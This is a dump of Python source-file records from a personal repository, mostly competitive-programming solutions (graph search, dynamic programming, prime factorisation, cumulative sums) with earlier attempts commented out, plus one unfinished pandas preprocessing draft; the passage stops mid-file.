"avg_line_length": 20.600000381469727, "blob_id": "7e5de3af6bba6c5ec7825e8645890fe6cff79e0d", "content_id": "689aa8d97f2f131ba4c78f0d5bd8ded21bfefb35", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 648, "license_type": "no_license", "max_line_length": 57, "num_lines": 30, "path": "/examples/contests/202/D.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "A, B, K = map(int, input().split())\n\n# a_indexes = list(combinations(range(A+B), A))\n# indexes = a_indexes[K-1]\n#\n# ans = ''\n# for i in range(A+B):\n# if i in indexes: ans += 'a'\n# else: ans += 'b'\n#\n# print(ans)\n\ndp = [[0]*(B+1) for _ in range(A+1)]\ndp[0][0] = 1\n\nfor i in range(A+1):\n for j in range(B+1):\n if i > 0: dp[i][j] += dp[i-1][j]\n if j > 0: dp[i][j] += dp[i][j-1]\n\ndef find_kth(a, b, k):\n if a == 0: return 'b' * b\n if b == 0: return 'a' * a\n\n if k <= dp[a - 1][b]:\n return 'a' + find_kth(a - 1, b, k)\n else:\n return 'b' + find_kth(a, b - 1, k - dp[a - 1][b])\n\nprint(find_kth(A, B, K))\n" }, { "alpha_fraction": 0.40909090638160706, "alphanum_fraction": 0.45933014154434204, "avg_line_length": 19.899999618530273, "blob_id": "4bc0801fc2b9b2f1d2122c34b94758915ad803be", "content_id": "473950aa195023bb633f2d644860478de5972af5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 418, "license_type": "no_license", "max_line_length": 74, "num_lines": 20, "path": "/examples/beginner/ABC083B.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "# N, A, B = map(int, input().split())\n#\n# sum1 = 0\n#\n# for n in range(1, N+1):\n# sum2 = 0\n# target = n\n#\n# while target % 10 != 0 or target >= 10:\n# sum2 += target % 10\n# target //= 10\n# else:\n# sum2 += target\n# if A <= sum2 <= B: sum1 += n\n#\n# print(sum1)\n\nN, A, B = map(int, input().split())\n\nprint(sum(n for n in range(N+1) if A <= sum(int(i) for i in str(n)) <= B))\n" }, { "alpha_fraction": 0.5693501234054565, "alphanum_fraction": 0.5790494680404663, "avg_line_length": 17.745454788208008, "blob_id": "2d5a785f01c09958ae7da2e4282d9924235de893", "content_id": "522ffb9316f3f2d65ebdc9af94704ffa35af4305", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1031, "license_type": "no_license", "max_line_length": 65, "num_lines": 55, "path": "/examples/hackerrank/greedy/02.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "import math\nimport os\nimport random\nimport re\nimport sys\n\n#\n# Complete the 'luckBalance' function below.\n#\n# The function is expected to return an INTEGER.\n# The function accepts following parameters:\n# 1. INTEGER k\n# 2. 2D_INTEGER_ARRAY contests\n#\n\ndef luckBalance(k, contests):\n postive = 0\n negative = 0\n arr = []\n\n for pair in contests:\n l = pair[0]\n t = pair[1]\n\n if t == 0:\n postive += l\n else:\n arr.append(l)\n\n arr.sort(reverse=True)\n postive += sum(arr[:k])\n negative = sum(arr[k:])\n\n return postive - negative\n\nif __name__ == '__main__':\n # fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n first_multiple_input = input().rstrip().split()\n\n n = int(first_multiple_input[0])\n\n k = int(first_multiple_input[1])\n\n contests = []\n\n for _ in range(n):\n contests.append(list(map(int, input().rstrip().split())))\n\n result = luckBalance(k, contests)\n print(result)\n\n # fptr.write(str(result) + '\\n')\n #\n # fptr.close()\n" }, { "alpha_fraction": 0.6209335327148438, "alphanum_fraction": 0.6265912055969238, "avg_line_length": 17.605262756347656, "blob_id": "e2999684f8ab03962ce806efee6ca67f7e261559", "content_id": "5bdfb08230ff89963312742d92a4c41a79e39522", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 707, "license_type": "no_license", "max_line_length": 51, "num_lines": 38, "path": "/examples/hackerrank/array/01.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "import math\nimport os\nimport random\nimport re\nimport sys\nfrom collections import Counter\n\n#\n# Complete the 'checkMagazine' function below.\n#\n# The function accepts following parameters:\n# 1. STRING_ARRAY magazine\n# 2. STRING_ARRAY note\n#\n\ndef checkMagazine(magazine, note):\n md = Counter(magazine)\n nd = Counter(note)\n for k, v in nd.items():\n if md[k] < v:\n print('No')\n return\n\n print('Yes')\n\n\nif __name__ == '__main__':\n first_multiple_input = input().rstrip().split()\n\n m = int(first_multiple_input[0])\n\n n = int(first_multiple_input[1])\n\n magazine = input().rstrip().split()\n\n note = input().rstrip().split()\n\n checkMagazine(magazine, note)\n" }, { "alpha_fraction": 0.4378463923931122, "alphanum_fraction": 0.4663499593734741, "avg_line_length": 15.618420600891113, "blob_id": "2ebb7cef6a99ab045cb5d8e4e22fdc377763e257", "content_id": "7118c4b8492369ba4819934893695bd3635cd66d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1305, "license_type": "no_license", "max_line_length": 53, "num_lines": 76, "path": "/examples/intermediate/02_advanced_all_enumeration/008.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "N = int(input())\nA = []\nB = []\nfor n in range(N):\n a, b = map(int, input().split())\n A.append(a)\n B.append(b)\n\nam = sorted(A)[N//2]\nbm = sorted(B)[N//2]\n\nans = 0\nfor a,b in zip(A,B):\n ans += abs(a-b) # AからB\n ans += abs(a-am) # 入口からA\n ans += abs(b-bm) # 出口からB\nprint (ans)\n\n# My answer\n# 2021/04/21\n# N = int(input())\n# # A = B = [] # B が参照渡しになっている\n# A = []\n# B = []\n#\n# for _ in range(N):\n# a, b = map(int, input().split())\n# A.append(a)\n# B.append(b)\n#\n# ans = 0\n# s = sorted(A)[N//2]\n# g = sorted(B)[N//2]\n#\n# for a, b in zip(A, B):\n# ans += abs(s-a)\n# ans += abs(b-a)\n# ans += abs(g-b)\n#\n# print(ans)\n\n# 2021/04/30\n# N = int(input())\n# A = []\n# B = []\n# for _ in range(N):\n# a, b = map(int, input().split())\n# A.append(a)\n# B.append(b)\n#\n# entrance = sorted(A)[N//2]\n# exit = sorted(B)[N//2]\n# ans = 0\n#\n# for a, b in zip(A, B):\n# ans += abs(a-entrance) + abs(b-a) + abs(exit-b)\n#\n# print(ans)\n\n# 2021/05/21\n# N = int(input())\n# A = []\n# B = []\n# for _ in range(N):\n# a, b = map(int, input().split())\n# A.append(a)\n# B.append(b)\n#\n# entrance = sorted(A)[N//2]\n# exit = sorted(B)[N//2]\n#\n# ans = 0\n# for a, b in zip(A, B):\n# ans += abs(a-entrance) + abs(b-a) + abs(exit-b)\n#\n# print(ans)\n" }, { "alpha_fraction": 0.5266457796096802, "alphanum_fraction": 0.5517241358757019, "avg_line_length": 25.58333396911621, "blob_id": "3b3f04c1f531551a4e691ccc1cd6f1d1c50fe84e", "content_id": "921bea33513e8749f4c9e7255ff7daee6ac3c714", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 942, "license_type": "no_license", "max_line_length": 58, "num_lines": 24, "path": "/examples/intermediate/22_compression/088.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "N = int(input())\nC = []\nfor n in range(N):\n c = int(input())\n C.append(c)\n\nstack = []\nold = None\nfor n in range(N):\n c = C[n]\n if (n%2==1): # iが偶数の場合(nが奇数)\n if old != c: # 色が異なれば\n stack.pop() # 反転させる(最後の反対色の記録を取り除く)\n if len(stack)==0: # スタックを空にしない\n stack.append(0)\n else:\n if old != c: # 違う色が出た時\n stack.append(n) # 色の始まりを記録する\n old = c\nif old == 0: # スタック上の記録では、白黒は交互に格納されているので最後が白なら\n stack.append(n+1) # n+1を格納しておく。これは、後ほどストライド2で差分を計算するため\nif len(stack)%2 == 1:\n stack.insert(0,0) # ストライド2で差分を計算するため、要素数を偶数にする\nprint (sum(stack[1::2]) - sum(stack[::2]))\n" }, { "alpha_fraction": 0.5192096829414368, "alphanum_fraction": 0.5576289892196655, "avg_line_length": 19.244443893432617, "blob_id": "43c97167a3b9927c016e47b447739dca67cc6042", "content_id": "41787ad650f65b44615897c9653ac5f8a34966a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 911, "license_type": "no_license", "max_line_length": 58, "num_lines": 45, "path": "/examples/intermediate/01_all_enumeration/004.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "from itertools import combinations\n\nN, M = map(int, input().split())\nA = [list(map(int, input().split())) for i in range(N)]\n\nans = 0\n\nfor m1, m2 in combinations(range(M),2):\n score = 0\n for a in A: score += max(a[m1],a[m2])\n ans = max(ans, score)\n\nprint (ans)\n\n# My answer\n# 2021/04/20\n# from itertools import combinations\n#\n# N, M = map(int, input().split())\n# A = [tuple(map(int, input().split())) for _ in range(N)]\n# ans = 0\n#\n# for c in combinations(range(M), 2):\n# sm = 0\n#\n# for n in range(N): sm += max(A[n][c[0]], A[n][c[1]])\n#\n# ans = max(ans, sm)\n#\n# print(ans)\n\n# 2021/04/30\n# from itertools import combinations\n#\n# N, M = map(int, input().split())\n# A = [tuple(map(int, input().split())) for _ in range(N)]\n# ans = 0\n#\n# for m1, m2 in combinations(range(M), 2):\n# score = 0\n# for a in A:\n# score += max(a[m1], a[m2])\n# ans = max(ans, score)\n#\n# print(ans)\n" }, { "alpha_fraction": 0.49723145365715027, "alphanum_fraction": 0.5315614342689514, "avg_line_length": 18.630434036254883, "blob_id": "e13a0ca863e384fd1d6b16295299c751c4860293", "content_id": "62e901aac2e4f42782b7ad6b37ceeda98e3f1979", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 907, "license_type": "no_license", "max_line_length": 43, "num_lines": 46, "path": "/examples/intermediate/19_cumulative_sum/076.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "from itertools import accumulate\nN = int(input())\nA = [0] + list(map(int, input().split()))\ncsum = list(accumulate(A))\n\nfor i in range(1,N+1):\n ans = 0\n for j in range(N-i+1):\n diff = csum[j+i] - csum[j]\n ans = max(diff,ans)\n print (ans)\n\n# My answer\n# 2021/04/28\n# 写経\n# from itertools import accumulate\n#\n# N = int(input())\n# A = [0] + list(map(int, input().split()))\n#\n# csum = list(accumulate(A))\n# print(csum)\n#\n# for i in range(1, N+1):\n# ans = 0\n# for j in range(N-i+1):\n# diff = csum[j+i] - csum[j]\n# ans = max(diff, ans)\n# print(ans)\n\n# 2021/05/02\n# from itertools import accumulate\n#\n# N = int(input())\n# A = list(map(int, input().split()))\n#\n# ac = list(accumulate([0]+A))\n# ans = []\n#\n# for k in range(1, N+1):\n# sm = 0\n# for s in range(N-k+1):\n# sm = max(sm, ac[s+k] - ac[s])\n# ans.append(sm)\n#\n# for a in ans: print(a)\n" }, { "alpha_fraction": 0.5736040472984314, "alphanum_fraction": 0.6142131686210632, "avg_line_length": 27.14285659790039, "blob_id": "22211d989fd3f2e16b2b089ce09b2fd6a4b1a3dc", "content_id": "702a44cfe82a4bd0665dc725dbe1eff304694904", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 394, "license_type": "no_license", "max_line_length": 86, "num_lines": 14, "path": "/algorithm/combination.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "from itertools import permutations, combinations,combinations_with_replacement,product\na=['a','b','C']\nprint(list(permutations(a)))\nprint(list(combinations(a,2)))\nprint(list(combinations_with_replacement(a,3)))\n\na=list(product(['+','-'],repeat=3))\nprint(a)\ns=['5', '5', '3', '4']\nfor i in a:\n ans=s[0]+i[0]+s[1]+i[1]+s[2]+i[2]+s[3]\n if eval(ans)==7:\n print(ans+'=7')\n break\n" }, { "alpha_fraction": 0.397930771112442, "alphanum_fraction": 0.4317548871040344, "avg_line_length": 16.950000762939453, "blob_id": "c2ea418d69c8ccefd064b29a7e85a1074d66043b", "content_id": "e28514d7f13aae625a878f7fdb9e8a2c525980ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2669, "license_type": "no_license", "max_line_length": 50, "num_lines": 140, "path": "/examples/intermediate/06_depth_first_search/024.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "N = int(input())\nadj = [[] for i in range(N)]\nfor n in range(N):\n V = list(map(int, input().split()))\n for v in V[2:]: # u,k,v1,v2,...\n adj[n].append(v-1)\nd = [0] * N # 発見時刻\nf = [0] * N # 完了時刻\n\ndef dfs(v, t):\n t+=1 # 発見したらインクリメント\n d[v] = t\n for next in adj[v]:\n if d[next] == 0: # 未発見なら\n t = dfs(next, t)\n t+=1 # 完了してもインクリメント\n f[v] = t\n return t\n\nt = 0\nfor n in range(N):\n if d[n]==0: # 未発見なら\n t = dfs(n,t)\n print (n+1,d[n],f[n])\n\n# My answer\n# 2021/04/25\n# 写経\n# N = int(input())\n# adj = [[] for _ in range(N)]\n# for i in range(N):\n# V = list(map(int, input().split()))\n# for v in V[2:]: adj[i].append(v-1)\n#\n# d = [0]*N\n# f = [0]*N\n#\n# def dfs(v, t):\n# t += 1\n# d[v] = t\n#\n# for next in adj[v]:\n# if d[next] == 0: t = dfs(next, t)\n#\n# t += 1\n# f[v] = t\n# return t\n#\n# t = 0\n# for n in range(N):\n# if d[n] == 0: t = dfs(n, t)\n# print(n+1, d[n], f[n])\n\n# 2021/04/30\n# n = int(input())\n# adj = []\n# for _ in range(n):\n# s = list(map(int, input().split()))\n# adj.append(s[2:])\n#\n# d = [0]*n\n# f = [0]*n\n#\n# def dfs(v, t):\n# t += 1\n# d[v] = t\n# for next in adj[v]:\n# if d[next-1] == 0:\n# t = dfs(next-1, t)\n# t += 1\n# f[v] = t\n#\n# return t\n#\n# dfs(0, 0) # 全ての頂点がつながっていない可能性があるので、ループを回す必要がある\n#\n# for i in range(n):\n# print(' '.join(map(str, [i+1, d[i], f[i]])))\n\n# 2021/05/06\n# n = int(input())\n# adj = [[] for _ in range(n)]\n# for i in range(n):\n# v = list(map(int, input().split()))\n# adj[i] = v[2:]\n#\n# d = [0]*n\n# f = [0]*n\n#\n# def dfs(vertex, time):\n# if d[vertex]: return time\n#\n# t = time + 1\n# d[vertex] = t\n#\n# for nxt in adj[vertex]:\n# if d[nxt-1]: continue\n# t = dfs(nxt-1, t)\n#\n# t += 1\n# f[vertex] = t\n# return t\n#\n# t = 0\n# for i in range(n): t = dfs(i, t)\n#\n# for i in range(n):\n# ans = [i+1, d[i], f[i]]\n# print(' '.join(map(str, ans)))\n\n# 2021/06/10\n# N = int(input())\n# adj = []\n# for _ in range(N):\n# array = list(map(int, input().split()))\n# adj.append(array[2:])\n#\n# d = [0]*N\n# f = [0]*N\n# t = 0\n#\n# def dfs(vertex, time):\n# time += 1\n# d[vertex] = time\n#\n# for nxt in adj[vertex]:\n# if d[nxt-1] == 0:\n# time = dfs(nxt-1, time)\n#\n# time += 1\n# f[vertex] = time\n#\n# return time\n#\n# for i in range(N):\n# if d[i] == 0:\n# t = dfs(i, t)\n#\n# for i in range(N):\n# print(' '.join(map(str, [i+1, d[i], f[i]])))\n" }, { "alpha_fraction": 0.4005449712276459, "alphanum_fraction": 0.4468664824962616, "avg_line_length": 16.4761905670166, "blob_id": "4a205fb425e526a37963b8aceeb867070afd5f5a", "content_id": "2ea7508323b28c3bc201ae6eeacadeb32c8d4727", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 770, "license_type": "no_license", "max_line_length": 48, "num_lines": 42, "path": "/examples/intermediate/16_prime_number/068.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "N = int(input())\nn = N\nans = []\nfor i in range(2,int(N**0.5)+1): # intに変換すること\n while(n%i==0):\n n //= i # 整数除算(//)を使うこと\n ans.append(i)\nif n!=1:\n ans.append(n)\nans = [str(a) for a in ans]\nans = str(N)+\": \" + \" \".join(ans)\nprint (ans)\n\n# My answer\n# 2021/04/26\n# 写経\n# N = int(input())\n# n = N\n# ans = []\n#\n# for i in range(2, int(N**0.5)+1):\n# while n%i==0:\n# n //= i\n# ans.append(i)\n#\n# if n != 1: ans.append(n)\n#\n# print(str(N)+': '+' '.join(map(str, ans)))\n\n# 2021/05/02\n# n = int(input())\n# N = n\n#\n# ans = []\n# for i in range(2, int(N**0.5)+1):\n# while n % i == 0:\n# n //= i\n# ans.append(i)\n#\n# if n != 1: ans.append(n)\n#\n# print(str(N) + ': ' + ' '.join(map(str, ans)))\n" }, { "alpha_fraction": 0.5384615659713745, "alphanum_fraction": 0.5769230723381042, "avg_line_length": 25, "blob_id": "2d9c452befca3e83a1faa606b1e54771d4285a80", "content_id": "f62927ab296b18e520f9dd1cb1072ace6e12bc15", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 52, "license_type": "no_license", "max_line_length": 41, "num_lines": 2, "path": "/algorithm/alphabet.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "al=[chr(ord('a') + i) for i in range(26)]\nprint(al)\n" }, { "alpha_fraction": 0.43103447556495667, "alphanum_fraction": 0.5275862216949463, "avg_line_length": 17.125, "blob_id": "8528fa2eccbae354e38ab13c7ce91fed4127a211", "content_id": "a31fb8d8d87f660e2f11c476e06e1e2d5003486e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 294, "license_type": "no_license", "max_line_length": 34, "num_lines": 16, "path": "/examples/intermediate/17_power/070.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "MOD = 10**9+7\nm, n = map(int, input().split())\n# print (pow(m,n)%MOD) 遅い\nprint (pow(m,n,MOD))\n\n# My answer\n# 2021/04/26\n# m, n = map(int, input().split())\n# mod = 10**9 + 7\n# print(pow(m, n, mod))\n\n# 2021/05/02\n# m, n = map(int, input().split())\n# mod = 10**9 + 7\n#\n# print(pow(m, n, mod))\n" }, { "alpha_fraction": 0.4010965824127197, "alphanum_fraction": 0.45339518785476685, "avg_line_length": 24.771739959716797, "blob_id": "11d8f6a7fc1bed0b2e950171e91386e72221bb85", "content_id": "7e710f4ed458d6db7cf1d04aceb816e48737123a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2701, "license_type": "no_license", "max_line_length": 139, "num_lines": 92, "path": "/examples/intermediate/08_dynamic_programming/038.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "# https://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=ALDS1_10_C&lang=jp\n\nQ = int(input())\n\ndef lcs(X, Y):\n dp = [[0] * (len(X)+1) for _ in range(len(Y)+1)]\n for i in range(1,len(Y)+1):\n for j in range(1,len(X)+1):\n if X[j-1]==Y[i-1]:\n dp[i][j] = dp[i-1][j-1] + 1\n else:\n dp[i][j] = max(dp[i][j-1],dp[i-1][j])\n return dp[-1][-1]\n\nans = []\nfor q in range(Q):\n X = input()\n Y = input()\n ans.append(lcs(X,Y))\nfor a in ans:\n print(a)\n\n# My answer\n# 2021/04/25\n# これがわかりやすい -> https://naoya-2.hatenadiary.org/entry/20090328/1238251033\n\n# 2021/05/02\n# q = int(input())\n# S = []\n# for _ in range(q):\n# X = input()\n# Y = input()\n# S.append((X, Y))\n# ans = []\n#\n# for X, Y in S:\n# dp = [[0]*(len(Y)+1) for _ in range(len(X)+1)]\n#\n# for xi in range(1, len(X)+1): # ナップザック問題と違って、一つ前から現在の値を求める\n# for yi in range(1, len(Y)+1):\n# if X[xi-1] == Y[yi-1]:\n# dp[xi][yi] = dp[xi-1][yi-1] + 1\n# else:\n# dp[xi][yi] = max(dp[xi-1][yi], dp[xi][yi-1])\n#\n# ans.append(dp[len(X)][len(Y)])\n#\n# for a in ans: print(a)\n\n# 2021/05/02\n# q = int(input())\n# A = []\n# B = []\n# for _ in range(q):\n# a = input()\n# b = input()\n# A.append(a)\n# B.append(b)\n#\n# for i in range(q):\n# a = A[i]\n# b = B[i]\n# dp = [[0] * (len(b)+1) for _ in range(len(a)+1)]\n#\n# for ia in range(1, len(a)+1): # スタートが1から始まる\n# for ib in range(1, len(b)+1):\n# if a[ia-1] == b[ib-1]: # ia=1, ib=1 => A の1文字目と B の1文字目が同じかどうか\n# dp[ia][ib] = dp[ia-1][ib-1] + 1 # ia=1, ib=1 => A の0文字目と B の0文字目の LCD に1足す\n# else:\n# dp[ia][ib] = max(dp[ia-1][ib], dp[ia][ib-1])\n# print(dp[-1][-1])\n\n# 2021/05/15\n# q = int(input())\n# ans = []\n#\n# for _ in range(q):\n# X = input()\n# Y = input()\n# dp = [[1] * len(Y) for _ in range(len(X))]\n#\n# for i in range(1, len(X)):\n# for j in range(1, len(Y)):\n# if X[i] == Y[j]:\n# # DP のインデックスの意味と文字列のインデックスが同じだと勘違いしていた\n# dp[i][j] = dp[i-1][j-1] + 1 # dp のインデックスと文字列のインデックスは1ずつずれている. dp のインデックスは何文字目あるのか(0~len(X)).文字列のインデックスは何文字目か(0~len(x)-1).\n# else:\n# dp[i][j] = max(dp[i][j-1], dp[i-1][j])\n#\n# ans.append(dp[-1][-1])\n#\n# for a in ans: print(a)\n" }, { "alpha_fraction": 0.36868685483932495, "alphanum_fraction": 0.4444444477558136, "avg_line_length": 15.971428871154785, "blob_id": "3d5f347ef580c9aa59dd174ee973777fe2c74aa5", "content_id": "17f408349ed2dcb84ee3f744dedd3cd175ce06e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 594, "license_type": "no_license", "max_line_length": 52, "num_lines": 35, "path": "/examples/intermediate/01_all_enumeration/002.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "N = int(input())\nans = 0\nfor n in range(1,N+1,2):\n sm = sum(n%i==0 for i in range(1,n+1))\n if sm==8:\n ans += 1\nprint (ans)\n\n# My answer\n# 2021/04/20\n# N = int(input())\n# ans = 0\n#\n# for n in range(1, N+1, 2):\n# count = sum(n % i == 0 for i in range(1, n+1))\n#\n# if count == 8: ans += 1\n#\n# print(ans)\n\n# 2021/04/30\n# N = int(input())\n#\n# ans = 0\n#\n# for n in range(1, N+1, 2):\n# count = 0\n# # divisor = []\n# for i in range(1, n+1):\n# if n % i == 0:\n# count += 1\n# # divisor.append(i)\n# if count == 8: ans += 1\n#\n# print(ans)\n" }, { "alpha_fraction": 0.4035656452178955, "alphanum_fraction": 0.4489465057849884, "avg_line_length": 14.04878044128418, "blob_id": "31fd3619b351db9d88b101e4a8bcbc76aa39bddf", "content_id": "d3dc4241222d7995f0fe9cdec79c39250af8f85a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 617, "license_type": "no_license", "max_line_length": 58, "num_lines": 41, "path": "/examples/intermediate/01_all_enumeration/003.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "S = input()\nS+='*' # for-loop goes to the else part at the final loop\nsm = 0\nans = 0\nfor s in S:\n if s in ('A','C','G','T'):\n sm += 1\n else:\n ans = max(ans, sm)\n sm = 0\nprint (ans)\n\n# My answer\n# 2021/04/20\n# S = input()\n# ACGT = ('A', 'C', 'G', 'T')\n# ans = 0\n# count = 0\n#\n# for s in S:\n# if s in ACGT: count += 1\n# else: count = 0\n#\n# ans = max(ans, count)\n#\n# print(ans)\n\n# 2021/04/30\n# S = input()\n# ACGT = 'ACGT'\n# ans = 0\n# count = 0\n#\n# for s in S:\n# if s in ACGT:\n# count += 1\n# ans = max(ans, count)\n# else:\n# count = 0\n#\n# print(ans)\n" }, { "alpha_fraction": 0.5441176295280457, "alphanum_fraction": 0.5735294222831726, "avg_line_length": 16, "blob_id": "679c8cb82019d12f9dbf31ff66bff161827f57b1", "content_id": "190e8f6da0cd19a5042e0e1f7c48dcca080bbcc6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 68, "license_type": "no_license", "max_line_length": 35, "num_lines": 4, "path": "/examples/contests/202/A.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "a, b, c = map(int, input().split())\ntotal = 7*3\n\nprint(total-a-b-c)\n" }, { "alpha_fraction": 0.6570881009101868, "alphanum_fraction": 0.6637930870056152, "avg_line_length": 24.463415145874023, "blob_id": "477fa0778a6df7044ee5d17cb276e0b915d8dcd8", "content_id": "276c136274155ad2e639e3ed059dfad68b6599ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1056, "license_type": "no_license", "max_line_length": 88, "num_lines": 41, "path": "/kaggle/paddy/test.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "# data analysis and wrangling\nimport pandas as pd\nimport numpy as np\nimport random as rnd\n\n# visualization\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n# string transformation\nimport mojimoji\nimport re\n\ndf = pd.read_csv('./first_messages.csv', index_col=False)\ndf = df.drop(['user_id', 'chat_room_id', 'updated_at', 'created_at'], axis=1)\n\ndf.describe()\ndf.loc[df['status'] == 2, 'status'].describe()\ndf.groupby(['status'], as_index=False).count().sort_values(by='status', ascending=False)\n\ndef __zen_to_han(string):\n return mojimoji.zen_to_han(string)\n\ndef __remove_dividors(string):\n return re.sub('\\r\\n|\\s| |,|。|、|\\/|_|_|・|/', '', string)\n\ndef preprocess(data):\n return __zen_to_han(__remove_dividors(str(string)))\n\ndef is_including_uid(string):\n if not string: return False\n\n fixed_string = __zen_to_han(__remove_dividors(str(string)))\n\n return not not re.search('[a-zA-Z0-9]{5,}', fixed_string)\n\ndf.apply(zen_to_han)\n\n# def eq_two(data):\n# return data == 2\n# df.loc[eq_two(df['status']), 'status_1'] = 'hi'\n" }, { "alpha_fraction": 0.45462554693222046, "alphanum_fraction": 0.4863436222076416, "avg_line_length": 19.26785659790039, "blob_id": "728785e2607ee5c408f1eba6a73b48d6217f4872", "content_id": "8a9d7c43451f5db497e8b66827f9ccf9ae056980", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1135, "license_type": "no_license", "max_line_length": 63, "num_lines": 56, "path": "/examples/intermediate/20_imos/083.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "import itertools\nN, M = map(int, input().split())\nP = list(map(int, input().split()))\nA = []\nB = []\nC = []\nfor n in range(N-1):\n a,b,c = map(int, input().split())\n A.append(a)\n B.append(b)\n C.append(c)\nimos = [0] * N\nfor m in range(M-1):\n if P[m] < P[m+1]:\n imos[P[m]-1] += 1\n imos[P[m+1]-1] -= 1\n else:\n imos[P[m]-1] -= 1\n imos[P[m+1]-1] += 1\ncsum = list(itertools.accumulate(imos))\nans = 0\nfor n in range(N-1):\n cnt = csum[n]\n ans += min(A[n]*cnt, B[n]*cnt+C[n])\nprint (ans)\n\n# My answer\n# 2021/05/04\n# from itertools import accumulate\n#\n# N, M = map(int, input().split())\n# P = tuple(map(int, input().split()))\n# fare = [tuple(map(int, input().split())) for _ in range(N-1)]\n#\n# imos = [0] * N\n# current = P[0] - 1\n#\n# for p in P[1:]:\n# nxt = p - 1\n# if nxt > current:\n# imos[current] += 1\n# imos[nxt] -= 1\n# else:\n# imos[current] -= 1\n# imos[nxt] += 1\n# current = nxt\n#\n# ac = list(accumulate(imos))\n# ans = 0\n#\n# for i in range(N-1):\n# a, b, c = fare[i]\n# cost = min(a*ac[i], b*ac[i] + c)\n# ans += cost\n#\n# print(ans)\n" }, { "alpha_fraction": 0.3602941036224365, "alphanum_fraction": 0.49264705181121826, "avg_line_length": 16, "blob_id": "6b7fa76a0920c70d701ad0cf67e45a71bb0f7306", "content_id": "86a4f88f49e14cf414440db8dc8434c5d5c96476", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 136, "license_type": "no_license", "max_line_length": 32, "num_lines": 8, "path": "/algorithm/prime_factorization.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "pf={}\nm=341555136\nfor i in range(2,int(m**0.5)+1):\n while m%i==0:\n pf[i]=pf.get(i,0)+1\n m//=i\nif m>1:pf[m]=1\nprint(pf)\n" }, { "alpha_fraction": 0.38250428438186646, "alphanum_fraction": 0.42967408895492554, "avg_line_length": 23.808509826660156, "blob_id": "e65039722f613fe920ebe7d83c0c0d3a193c5299", "content_id": "2ea12235053341798c3d750b8fac52da57a8a86e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1196, "license_type": "no_license", "max_line_length": 66, "num_lines": 47, "path": "/examples/intermediate/08_dynamic_programming/037.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "N, M = map(int, input().split())\nC = list(map(int,input().split()))\nINF = 10**10\ndp = [[INF]*(N+1) for _ in range(M+1)]\ndp[0][0] = 0 # 左上から始まるから dp[0][0] にすれば良い\nfor m in range(M):\n for n in range(N+1):\n if n-C[m]>=0:\n dp[m+1][n] = min(dp[m+1][n-C[m]]+1, dp[m][n])\n else:\n dp[m+1][n] = dp[m][n]\nprint (dp[M][N])\n\n# 2021/05/02\n# N, M = map(int, input().split())\n# D = list(map(int, input().split()))\n# default = float('inf')\n#\n# dp = [[default]*(N+1) for _ in range(M+1)]\n#\n# for m in range(M):\n# d = D[m]\n# for n in range(N+1):\n# if n - d >= 0:\n# tmp = 0 if dp[m+1][n-d] == default else dp[m+1][n-d]\n# dp[m+1][n] = min(dp[m][n], tmp+1)\n# else:\n# dp[m+1][n] = dp[m][n]\n#\n# print(dp[M][N])\n\n# 2021/05/06\n# N, M = map(int, input().split())\n# C = list(map(int, input().split()))\n#\n# INF = float('inf')\n# 